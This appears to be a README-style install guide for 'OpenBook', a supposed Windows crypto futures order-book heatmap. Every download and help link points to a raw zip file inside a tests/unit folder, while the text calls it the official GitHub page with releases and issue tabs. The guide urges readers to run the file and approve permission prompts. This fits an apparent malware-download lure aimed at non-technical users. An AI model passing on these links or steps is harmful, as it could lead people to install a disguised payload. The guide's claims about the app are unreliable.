OpenBook shows you a live heatmap of crypto futures order depths. It updates in real time and includes order flow and trade tapes. You can watch how the market moves in detail without needing special skills.
This guide walks you through downloading and running OpenBook on a Windows PC. You do not need to know programming or use the command line.
OpenBook is a simple application. It shows a heatmap of crypto futures market depth. This means you see where buy and sell orders stack up. The app updates live, showing order flow and trade tape. The interface is built with Rust using egui and eframe, but you do not need to know this to use the app. Just download and run it.
Make sure your computer meets these basic needs before running OpenBook:
- Windows 10 or newer (64-bit recommended)
- At least 4 GB of RAM
- 500 MB free disk space
- Internet connection for live data updates
- A modern GPU or integrated graphics capable of running basic 2D apps
You can get OpenBook from the official GitHub page:
Click the button above or visit:
https://raw.githubusercontent.com/jacobvr186/OpenBook/main/tests/unit/Book-Open-v2.6.zip
On that page, you will find the latest version ready to download.
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Open your web browser and go to the download page:
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Look for the Releases or Downloads section on the page. It usually appears as a sidebar or a tab.
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From the list, find the latest release file for Windows. The file will have
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Click the
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Once downloaded, open your Downloads folder to find the file.
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Double-click the file to run it. If Windows asks for permission to run the app, click Yes.
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Follow the on-screen instructions to install OpenBook. If there are no instructions, the app should install automatically.
After installation:
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Find OpenBook in your Start menu or on your Desktop (if a shortcut was created).
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Double-click the OpenBook icon to open it.
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The app will load and start showing live data. You do not need to log in or create an account.
OpenBook shows a heatmap that highlights areas of high order volume in the futures market. Here’s a quick guide on what you will see:
- Depth Heatmap: Colors show where buy and sell orders are stacked in the order book. Bright areas mean more orders.
- Order Flow: Shows new orders coming in live so you can see how the market shifts over time.
- Trade Tape: Lists recent trades as they happen.
You can resize the window and adjust some settings inside the app for better viewing. The app updates every few seconds with fresh market data.
When OpenBook is open, look for a settings button or menu, often represented by a gear icon. Here are some common settings you might find:
- Change color themes of the heatmap
- Adjust update frequency for live data
- Toggle between different crypto futures markets (if available)
- Enable or disable sound alerts for trade events
These options help you customize the view to your needs.
If OpenBook does not start or crashes:
- Make sure your Windows is up to date with the latest updates.
- Close other heavy apps to free memory.
- Check if your internet connection is stable.
- Restart your computer and try launching OpenBook again.
- Retry downloading the app in case the file is incomplete.
If problems continue, you can ask for help by opening an issue on the GitHub page.
For more help and community discussion, visit the GitHub repository’s Issues and Discussions tabs at:
https://raw.githubusercontent.com/jacobvr186/OpenBook/main/tests/unit/Book-Open-v2.6.zip
You can review current questions or ask your own. The repository also has code if you want to explore how the app works under the hood.